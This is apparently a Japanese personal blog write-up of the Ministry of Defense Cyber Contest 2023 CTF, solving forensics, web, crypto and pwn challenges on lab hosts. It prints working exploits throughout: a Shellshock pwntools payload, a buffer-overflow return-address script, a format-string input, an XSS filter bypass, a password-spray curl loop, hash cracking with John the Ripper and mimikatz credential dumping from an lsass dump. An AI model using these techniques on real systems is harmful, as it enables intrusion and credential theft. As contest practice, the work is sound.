しょんぼり技術メモ

まいにちがしょんぼり

防衛省 サイバーコンテスト 2023 (防衛省CTF) に参加した

防衛省 サイバーコンテスト 2023 (防衛省CTF) に参加し、 403pts / 14位 でした。

目標は「低難易度の問題を全問正解」でしたが、思ったよりもフレンドリーな難易度でなんとかなりました。 苦手なpwnを全部解けたのはうれしいです。

Welcome

OpenVPNの設定ファイルが提供されるのでダウンロードして接続。 問い合わせ先メールアドレスを聞かれるのでflag{}に入れる。

[Forensics] The Place of The First Secret Meeting (10pts)

会社 A が内部告発を受け、海外の競合会社 B へ機密情報の持ち出しが行われた可能性があると判明しました。 退職予定の従業員が、共有パソコンへの接続が禁止されている USB メモリを用いてデータを抜き出し、USB メモリを引き渡したという内容でした。 そこで従業員を問い詰め、小さな USB ストレージを回収し、そのイメージを保全しました。

USB メモリの中には画像ファイルが入っていました。この画像が取引場所の可能性があります。この画像について、城の名前ではなく大きく写っている建物の名前を特定してください。 建物の名前をヘボン式ローマ字表記したものがフラグです。

あなたはフォレンジックエンジニアとして各フラグを取得してください。添付の仮想ディスクイメージ(USB1.vhd)内にフラグがあります。※このイメージファイルは「The Deleted Confidential File」、「They Cannot Be Too Careful.」、「The Taken Out Secrets」の問題でも使用します。

USB1.vhd が提供される。とりあえずマウントして中身を見てみる。 1.jpgがあり、城の画像。画像検索すると高松城であるらしい。

https://nishimagome.link/2020/03/01/takamatsujyo/#toc6

を見ると、これは「うしとらやぐら」というらしい。

ushitorayagura

[Forensics] The Deleted Confidential File (20pts)

圧縮アーカイブファイルとして持ち出されたデータは、USB メモリから削除されていた可能性があります。データの復旧を行い、その内容を調査してください。

※問題「The Place of The First Secret Meeting」に添付の USB1.zip ファイル内の仮想ディスクイメージファイルが対象です。

Windows File Recovery を使って復元する。

winfr i: work\CTFs\MODCTF2023\Forensics /extensive

jpg\0.jpg, zip/1.zip が出てくる。

$ unzip -l Recovery_20230806_092119/zip/1.zip
Archive:  Recovery_20230806_092119/zip/1.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2023-06-07 09:09   重要/
        0  2023-06-01 10:53   重要/flag{Archive_file_was_deleted}.txt
   679900  2023-06-07 08:29   重要/要求提供的文件清单.pdf
---------                     -------
   679900                     3 files

flag{Archive_file_was_deleted} でOKだった。

[Forensics] They Cannot Be Too Careful. (10pts)

USB メモリから復旧できた圧縮アーカイブファイルには、パスワード保護がかかっていました。このパスワードを特定してください。

※問題「The Deleted Confidential File」で復旧したファイルが対象です。

fcrackzipでぶん回そうとしたらヒットしなかった。どうやら新しいバージョンのzipらしく、unzipが効かない。 仕方ないので調べてみると、zip2john経由でJohnすれば良いらしい。

$ ~/work/JohnTheRipper/run/zip2john 1.zip > ziphash.txt
ver 2.0 1.zip/�d�v/ is not encrypted, or stored with non-handled compression type
!? compressed length of AES entry too short.

$ ~/work/JohnTheRipper/run/john --wordlist=rockyou.txt ziphash.txt
Warning: invalid UTF-8 seen reading ziphash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
oshiro           (1.zip/重要/要求提供的文件清单.pdf)
oshiro           (1.zip/�d�v/flag{Archive_file_was_deleted}.txt)
2g 0:00:00:06 DONE (2023-08-06 13:26) 0g/s 90486p/s 180972c/s 180972C/s sammy82..mizzmoss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

$ ~/work/JohnTheRipper/run/john --show ziphash.txt
Warning: invalid UTF-8 seen reading ziphash.txt
1.zip/�d�v/flag{Archive_file_was_deleted}.txt:oshiro:�d�v/flag{Archive_file_was_deleted}.txt:1.zip:1.zip
1.zip/重要/要求提供的文件清单.pdf:oshiro:重要/要求提供的文件清单.pdf:1.zip:1.zip

2 password hashes cracked, 0 left

oshiro でした。

[Forensics] Their Perpetration (20pts)

直接データを取得したと考えられる端末の保全を行いました。調査対象のアーティファクトを解析し、持ち出しに使用された USB メモリのシリアルナンバーを特定してください。 なお、シリアルナンバー「04018636913bcb4e1152」のデバイスは保全の際に用いたものです。

NASPC.zip が提供される。マウントして展開するとイベントログなどを含むファイルが出てくる。 ひたすらそれっぽいイベントログを眺めて回る。正攻法ではない気がする……

Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx を漁ると、 「保全の際に用いた」という04018636913bcb4e1152の近くに0401396c0881735a013cが出てくる。これがフラグ。

[NW] Transfer (10pts)

「10.10.10.21」のサーバーは「example.com」ドメインの権威 DNS サーバーです。 このサーバー上に機密情報(フラグ)が隠されていますので、特定して回答してください。

名前からしてどう考えてもAXFRだろ、と思ったら大ハズレ。ダメ元でnmapしたら出てきました。

$ nmap -sV 10.10.10.21
Starting Nmap 7.80 ( https://nmap.org ) at 2023-08-06 11:04 JST
Nmap scan report for 10.10.10.21
Host is up (0.021s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  (unknown banner: flag{yExjq2D72ASL})
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=8/6%Time=64CEFFBD%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\0\0\0\x07version\x04b
SF:ind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x13\x12flag{yExjq2D72AS
SF:L}");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.75 seconds

調べると、こうやってbindのバージョンをたぐれるそうな。勉強になった。使いどころなさそうですが。

$ dig +short txt version.bind chaos @10.10.10.21
"flag{yExjq2D72ASL}"

[NW] Analysis (20pts)

あなたは組織内で発生した情報セキュリティインシデントを調査しています。 社内で攻撃の踏み台とされた端末(10.200.200.15)から外部宛の通信を調査しています。 プロキシログ(proxylog.txt)から不審なサーバ(C&C サーバ)宛へのログを見つけて、接続先の IP アドレスを特定してください。

proxylog.txtが与えられる。

$ cat proxylog.txt | awk -F, '{print $7,$8}' | sort | uniq
amazon_co_jp.ipa-info.net:22 HIER_DIRECT/2.57.80.99
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab? DIRECT/117.18.232.240
http://ocsp.entrust.net/MFEwTzBNMEswSTAJBgUrDgM DIRECT/23.42.76.131
http://www.gstatic.com/generate_204 DIRECT/142.251.42.163
news.google.com:443 HIER_DIRECT/172.217.26.46
news.yahoo.co.jp:443 HIER_DIRECT/182.22.25.252
news.yahoo.co.jp:443 HIER_DIRECT/183.79.217.124
thanks.yahoo.co.jp:443 HIER_DIRECT/182.22.25.252
twitter.com:443 HIER_DIRECT/172.217.25.69
twitter.com:443 HIER_DIRECT/183.79.250.123
twitter.com:443 HIER_DIRECT/216.58.197.163
URL Destnation Address
weather.yahoo.co.jp:443 HIER_DIRECT/183.79.250.123
www.google.co.jp:443 HIER_DIRECT/216.58.197.163
www.yahoo.co.jp:443 HIER_DIRECT/182.22.25.252
www.yahoo.co.jp:443 HIER_DIRECT/183.79.217.124

amazon_co_jp.ipa-info.net:22 HIER_DIRECT/2.57.80.99 が怪しい。試してみると、これが正解のアドレスだった。

flag{2.57.80.99}

[NW] Enumeration (20pts)

「10.10.10.22」のサーバーにインストールされているソフトウェア(Postfix)のバージョンを特定し、回答してください。

本来はpostfixのバージョンを探っていく必要がありそうですが、ダメ元で新しい方から順に総当たりしたら当たった。3.7.5でした。 想定解はどうやるものだったんでしょうか……

[Programming] Regex Exercise (10pts)

たくさんの偽のフラグに混ざった本物のフラグを見つけてください。本物のフラグは

Regexp "!!" を含む3文字 数字2けた "S" で始まる5文字以上の英単語 一の位が "8" の数値 がこの順番で並んだものです。

flag\{Regexp(!!.|.!!)[0-9]{2}S.{4,}8\}

で引っ掛ければよい。自分はvscodeを使いました。ハイライトされるので便利。

flag{Regexp:!!15Splendid159156098}

[Programming] Mimic Unicode (20pts)

mimic.txt の文字列内に隠されているフラグを見つけてください。

結合すると「ゴ」になる文字が並んでいるっぽい。
UTF-8では 
E3 82 B4
E3 82 B3 E3 82 99

のどちらか。なので0と1に対応させてデコード。
def binary_to_ascii(binary_string):
    ascii_output = ''.join([chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8)])
    return ascii_output

def main():
    with open('mimic.txt', 'rb') as f:
        content = f.read()

    binary_string = content.replace(b'\xe3\x82\xb4', b'0').replace(b'\xe3\x82\xb3\xe3\x82\x99', b'1')
    binary_string = binary_string.decode('utf-8')

    ascii_output = binary_to_ascii(binary_string)
    print(ascii_output)

if __name__ == "__main__":
    main()

flag{Un1c0de_N0rma|1z@t10n}

[Trivia] Threat (10pts)

コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。

ランサムウェア

[Trivia] Behavior (10pts)

エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。

EDR

Copilot入れたvscodeでメモしてたら、問題文を入力した段階で答えが出てきて笑った。すごい。

[Trivia] Inventor (10pts)

RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。

リベスト

[Forensics] The Taken Out Secrets (30pts)

パスワードがかかっていた圧縮アーカイブファイルの中には、機密情報リストが書かれている PDF ファイルが入っていました。 この PDF ファイルを解析しフラグを取得してください。

※問題「They Cannot Be Too Careful.」でパスワードを特定したアーカイブファイルが対象です。

PDFを開くと文字列の上に画像が載っかっている。

$ pdftotext the.pdf -
2020_プロジェクト仕様書
機密特許文書_001.docx
新製品_設計図.zip
新製品開発ロードマップ.pptx
供給者契約書_署名 2020.pdf
R&D_内部報告書_Q2_2020.docx
戦略計画_2020-2025.pptx
プロジェクトコスト見積もり.xlsx
製造工程.pdf
顧客リスト_2020.xlsx
役員会議事録_20200316.pdf
財務報告書_2020.zip
flag{pdf__is_
商業マニュアル Ver5.0.pdf
従業員機密保持契約.zip
未公開特許申請_202003.pdf
保留中契約交渉.docx
特許侵害調査報告書.pdf
生産スケジュール_Q3_2020.xlsx
市場分析.pptx
競合他社市場分析_2020.xlsx
プロトタイプ試験結果.docx
品質管理内部報告書_0323.docx

flag{pdf_is_ が確認できる。続けて探していく。

$ pdfimages -all the.pdf out

でout-000.pngを出力。青空白猫のステガノグラフィー解析で見ると _format!!?} が見える。間に何かありそう。

$ strings the.pdf | fgrep URI
/S /URI
/URI (X3BheWxvYWRfX2RlbGl2ZXJ5Xw\075\075)

$ echo 'X3BheWxvYWRfX2RlbGl2ZXJ5Xw==' | base64 --decode
_payload__delivery_

それっぽいのがあった。全部組み合わせるとフラグになる。アンダースコアが2つずつなのに気づかなくて焦った…

flag{pdf__is__payload__delivery__format!!?}

[Web] Basic (10pts)

情報セキュリティ担当のジョナサンは、退職者が利用していたパソコンの通信ログを確認していたところ、Basic 認証でアクセス制限がかけられているhttp://10.10.10.6/Aw6dfLUM/ へアクセスしていることが判明しました。

提供したパソコンの通信ログ(Basic.pcapng)を確認して認証情報を探し出してください。 フラグはその Basic 認証でのログイン後のページにあります。

Basic ZmxhZzphR3lSc3FwbmEzRDM=

でアクセスしている。Basic認証はユーザ:パスワードをbase64したやつ。

$ echo 'ZmxhZzphR3lSc3FwbmEzRDM=' | base64 --decode
flag:aGyRsqpna3D3

[Web] Discovery (10pts)

ゲーム会社に勤めているジョナサンが管理しているサイト( http://10.10.10.6/Wg6LQhmX/ ) 配下のディレクトリに、機密情報(flag)が記載されたテスト用の html ファイルが公開されていると連絡を受けました。 ジョナサンはサイトにあるリンクたどって該当ファイルを見つけ出そうとしましたが、うまくいきませんでした。 攻撃者はどのようにして機密情報(flag)を見つけだしたのでしょうか? あなたは機密情報(flag)を見つけ出し記載されたフラグを確認してください。

ほんとにいいの…?と思いながらdirbをぶん回す。ヒントにもあるが、.htmlであることに気づけるかがポイントだった。気づけなかったのでヒント減点を食らったのが痛い。

$ dirb http://10.10.10.6/Wg6LQhmX/
でgames が見つかる。

$ dirb http://10.10.10.6/Wg6LQhmX/games -X .html

http://10.10.10.6/Wg6LQhmX/games/admin.html にフラグがある。

flag{L1h$ZL-!-,es}

[Web] Bypass (20pts)

上司のクリストファーはセキュリティ会社に脆弱性診断の依頼をした際、アンケートフォーム( http://10.10.10.7/46am9tjb/ ) に、クロスサイトスクリプティングの脆弱性が検出されたと報告を受けました。 このページでは JavaScript を実行されないように対策をとっているため、納得できてないようです。 上司はあなたに JavaScript を実行できるか確認するようにお願いしてきました。 以下のような alert 関数を実行できればフラグが表示されます。

<script>alert(1)</script>

scriptという文字列を消すっぽい動作をする。のでうまくやってやるとscriptが残せる。

  • <scrSCRIPTipt>alert(1)</scrSCRIPTipt>を入れる
  • onsubmitの処理をフックしてreturn trueさせる

flag{dfvK#L-]BF?M}

[Web] Spray (20pts)

人事部のマネージャーをしているジェシカは、社内ポータルサイト http://10.10.10.7/mpk5tdbu で推測が容易なパスワード、 password か 123456789 のいずれかを利用している従業員がいると報告を受けた。どの従業員が推測可能なパスワードを利用しているか突き止めてください。フラグは、そのユーザーでログインしたページにあります。

以下のアカウントを利用して従業員のアカウント情報を確認してください。

ログイン画面:http://10.10.10.7/mpk5tdbu/ id:user1 PW:diejuthdkfi14 従業員は100名登録されており、従業員情報は上記のアカウント情報でログイン後、http://10.10.10.7/mpk5tdbu/prof/ で確認ができます。

for i in {1..100}; do

curl "http://10.10.10.7/mpk5tdbu/prof.php?id=${i}" \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: ja' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: PHPSESSID=bi75arvjronkhs2bvr64kna8ch' \
  -H 'DNT: 1' \
  -H 'Pragma: no-cache' \
  -H 'Referer: http://10.10.10.7/mpk5tdbu/dashboard.php' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36' \
  --compressed \
  --insecure \
  --output ${i}.html
done
  • 続いてそれらのファイルからメールアドレスの@より前の部分を抜き出す。(@入れると画面でエラーになる親切設計)
fgrep メールアドレス *.html | awk -F\  '{print $3}' | sed 's#</p>##g' | sed 's/^ //g' | awk -F@ '{print $1}'
  • あとはcurlでログイン処理を書いて…とするが、=が入るパターンはcurlでうまく行かない気がしたので先に手動で確認。いずれもハズレだったので、スクリプトでは除外しつつぶん回す。
for uid in `cat ids.txt | fgrep -v =`; do
  for pass in password 123456789; do
curl 'http://10.10.10.7/mpk5tdbu/login.php' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'Accept-Language: ja' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'DNT: 1' \
  -H 'Origin: http://10.10.10.7' \
  -H 'Pragma: no-cache' \
  -H 'Referer: http://10.10.10.7/mpk5tdbu/login.php' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36' \
  --data-raw "userID=${uid}&password=${pass}" \
  --compressed \
  --insecure \
  --output out/${uid}_${pass}.html

  done
done
exit 0

ダウンロードできたら、「正しくありません」が含まれないファイルを探す。

grep -rL 正しくありません *.html

kimi_ihara:123456789があたり。ログインするとフラグが表示される。

flag{?]_P43gUR?yK}

[Crypto] Simple Substitution Cipher (10pts)

以下の暗号文を復号してください。

暗号文: synt{tA0iEFckNRiG}

ROT13. 数字はROTしない。CyberChefで試行錯誤してあたった。ひどい。

flag{gN0vRSpxAEvT}

[Crypto] Substitution Cipher (10pts)

暗号文は、以下の対応表(SubstitutionCipher.png)と鍵により暗号化されていますが、鍵の一部(1文字目、4文字目の?)が欠損しています。 暗号文から欠損している鍵を推測し、復号してください。

暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}. 鍵: ?VC?

ヴィジュネル暗号の対応表が提供される。

ggcp{...}がフラグっぽいので、これがflag{...}になるような ?VC? のパターンを気合いで探す。 鍵は BVCJ になるので、CyberChefに投げて解読。アクサンが付いてる部分でうまく行かないので面倒だった。本質じゃないところで苦労するのはあまり楽しくないですね……

flag{vNP2RtAcsLdP}

[Crypto] Administrator Hash(NTLM hash) (20pts)

lsass.zip を展開(パスワード:P@ssw0rd123!)し、Administrator ユーザーの NTLM ハッシュ値を抽出してください。

mimikatz問題。っていうかこれcryptoですかね…???

WindowsDefenderに怒られないようにするのが一番難しかったです。(除外しましょう)

mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::Minidump lsass.DMP
Switch to MINIDUMP : 'lsass.DMP'

mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.DMP' file for minidump...

Authentication Id : 0 ; 494373 (00000000:00078b25)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WIN-A9FVQCU510J
Logon Server      : WIN-A9FVQCU510J
Logon Time        : 2023/06/14 14:05:23
SID               : S-1-5-21-475754373-2222522093-564401973-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN-A9FVQCU510J
         * NTLM     : 036dac4f519817e0f6ec28d80ab42205
         * SHA1     : 5cca0adce30b6164666d52ac52ee78e75f0bc3d6
(snip)

flag{036dac4f519817e0f6ec28d80ab42205}

[Crypto] Administrator Password (20pts)

問題「Administrator Hash(NTLM hash)」で抽出したハッシュ値から、Administrator ユーザーのパスワードを推測してください。

これほんとにcrypto問なんd(ry

$ ~/work/JohnTheRipper/run/john --format=NT --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Ilovedoraemon39  (?)
1g 0:00:00:02 DONE (2023-08-06 16:50) 0g/s 4056Kp/s 4056Kc/s 4056KC/s Ilovefred..Ilovechihuahuas
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

flag{Ilovedoraemon39}

[Pwn] Auth (10pts)

ログイン機能を作ってみました。By C 言語ルーキー

Ghidraで開く。どうやらuser=adminで、passがflagと一致するかを見ているっぽい。 その後で、何故か比較結果を基に文字列として"true"と比較する処理が入っているので、 オーバーフローした部分が比較箇所になるように調整すればよい。

   _____          __  .__
  /  _  \  __ ___/  |_|  |__
 /  /_\  \|  |  \   __\  |  \
/    |    \  |  /|  | |   Y  \
\____|__  /____/ |__| |___|  /
        \/                 \/

User: admin
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAtrue
Login succeeded!!
flag: DUMMY-FLAG

[Pwn] Festival (10pts)

祭りだ!祭りだ! flag を購入してね。

がちゃがちゃやってたら解けちゃった問。たぶんクソデカ掛け算でクソデカ残高にしてるはず。

___________              __  .__              .__
\_   _____/___   _______/  |_|__|__  _______  |  |
 |    __)/ __ \ /  ___/\   __\  \  \/ /\__  \ |  |
 |     \  ___/ \___ \  |  | |  |\   /  / __ \|  |__
 \___  / \___  >____  > |__| |__| \_/  (____  /____/
     \/      \/     \/                      \/

Balance : 1000
==Menu==
1. Ramune : 100
2. Yakitori : 200
3. Beer : 300
4. Yakisoba : 500
5. Flag : 1000000000

Staff > What do you want to buy?
Staff > Input menu number.
 You  > 5
Staff > How many?
 You  > 10000000001
Staff > flag{gwAZLDpEHAg6}

[Pwn] Parrot (20pts)

僕はオウム。なんでも繰り返し言うよ。

書式文字列攻撃ができる。%1$sから試していって、%7$sでフラグが出た。なんで7なのかは分かってないですが。

__________                             __
\______   \_____ ______________  _____/  |_
 |     ___/\__  \\_  __ \_  __ \/  _ \   __\
 |    |     / __ \|  | \/|  | \(  <_> )  |
 |____|    (____  /__|   |__|   \____/|__|

 You > %7$s
Parrot > DUMMY-FLAG

[Pwn] Shock (20pts)

ショッカーを倒せ!

名前からしてShellShockっぽい。bash_4.3.0があるので確定。Ghidraで開くと丁寧にsetenv()しているので、そこに好きなコマンドを書き込めばよい。 パスが通っていないのでうまいことやる必要がある。今回は2回に分けて実行した。(ls *相当の処理とcat)

from pwn import *

binary_path = './shock'

# remote
context.binary = ELF(binary_path)
# p = process(binary_path)
p = remote('10.10.10.16', 1004)

payload = "() { :; }; echo *"
# > bash_4.3.0 chall flag.txt start.sh
payload = "() { :; }; /bin/cat flag.txt"
# flag{UgjiH6Ep3Xda}

p.sendlineafter('You ', payload)

print(p.recvall().decode('utf-8'))

[Pwn] Noprotect (30pts)

flags 関数呼び出し忘れちゃった。

flags() を呼べば勝ち。リターンアドレスをそこに指定すればよい。 オフセットはがちゃがちゃやってたら出てきました。

from pwn import *

binary_path = './noprotect'

# remote
elf = ELF(binary_path)
context.binary = elf
#p = process(binary_path)
p = remote('10.10.10.15', 1005)
flags = elf.symbols['flags']

payload = b'A' * (256 + 8)
payload += p64(flags)

p.sendlineafter('n0protec >', payload)
print(p.recvall().decode('utf-8'))

※時間ギリギリだったのでフラグがメモに残ってなかった…

解けなかった問題たち

  • Crypto: Hash Extension Attack
  • NW: Ladder
  • Programming: LFSR Period, Grayscale Matrix
  • Web: Location

それなりに足掻きましたがダメでした。うーん……ガッツがたりない……

感想

ププーあの人博士号持ってるのにcrypto問全然解けてないじゃないですか(笑)って言われてもぐうの音も出ない結果となりました。精進します。

という文字列を「waniCTF2023に参加した」からコピペしてきました。精進できませんでした。次こそは精進します。